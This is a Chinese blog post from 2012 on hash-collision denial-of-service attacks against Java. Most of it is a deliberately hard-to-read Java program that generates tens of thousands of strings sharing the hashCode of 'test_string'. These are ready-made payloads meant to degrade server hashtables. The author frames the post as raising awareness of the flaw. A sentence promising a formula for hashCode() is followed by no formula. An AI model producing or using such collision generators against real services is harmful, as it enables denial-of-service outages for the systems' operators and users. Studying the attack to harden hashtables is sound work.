摘要

以代码形式，提供一种可验证的Java语言下哈希冲突字串生成方式。制造Hash冲突可引发Hashtable数据结构退化为低效链表，常用于DoS攻击。

背景及几句废话

2012年的第一篇blog，想想还是写点技术相关的。最近安全圈比较热的话题是hash algorithm collision dos attack. 截止到本文发布之时，比较优雅解决这一问题的厂商依然只是少数。为了促进这一问题得到尽快解决，我认为有必要在更大的范围内普及这一攻击的基础知识。本文主要思路以代码方式提供。如果不能保证独立运行以下代码，请绕道；如果对代码可读性有疑问，那是我故意的。

PS: JDK中关于hashCode()方法的实现，可用以下公式表达：

代码

package com.unclejoey.just4fun;

import java.math.BigDecimal;

public class HashCollision {

    private static final int i1 = 48;
    private static final int i2 = 8;
    private static final int i3 = 31;
    private static final int i4 = 60000;
    private static final long l1 = i3 -1;
    private static final long l2 = 2l << 32;
    private static final BigDecimal d1 = new BigDecimal(31);
    private static final BigDecimal d2 = d1.pow(i2);
    private static final BigDecimal d3 = new BigDecimal(l2);

	public static void main(String[] args) {
		String t = "test_string";
		for(int i=0; i<=i4; i++) {
			String s = String.valueOf(i);
            while(s.length() < 5){
            	s = "0" + s;
            }
            int hs = s.hashCode();
    		char[] r = g(hs, t.hashCode());
    		s = s.concat(new String(r));
    		if (s.hashCode() != t.hashCode()) {
    			System.err.println("NO WAY, I Couldn't be wrong...");
    			System.exit(1);
    		}
    		System.out.println(s);
		}
	}

	private static char[] g(int s, int t) {
        long hx1 = l1 * s + i1;
        BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));
        BigDecimal hx3 = hx2.divide(new BigDecimal(l1));
        BigDecimal hx4 = new BigDecimal(t).subtract(hx3);
        BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));
        long l = hx4.subtract(b).longValue();
        l = (l+l2) % l2;
        if (l < 0) l += l2;
        char[] c = new char[i2];
        int p = 0;
        while (l != 0) {
            c[p++] = (char) (l % (i3) + i1);
            l = l / i3;
        }
        int f = i2 - p;
        char[] cs = new char[i2];
        int i = 0;
        while (i < f) {
            cs[i++] = (char) i1;
        }
        while (i < i2) {
            cs[i] = c[p - i + f - 1];
            ++i;
        }
        return cs;
    }
}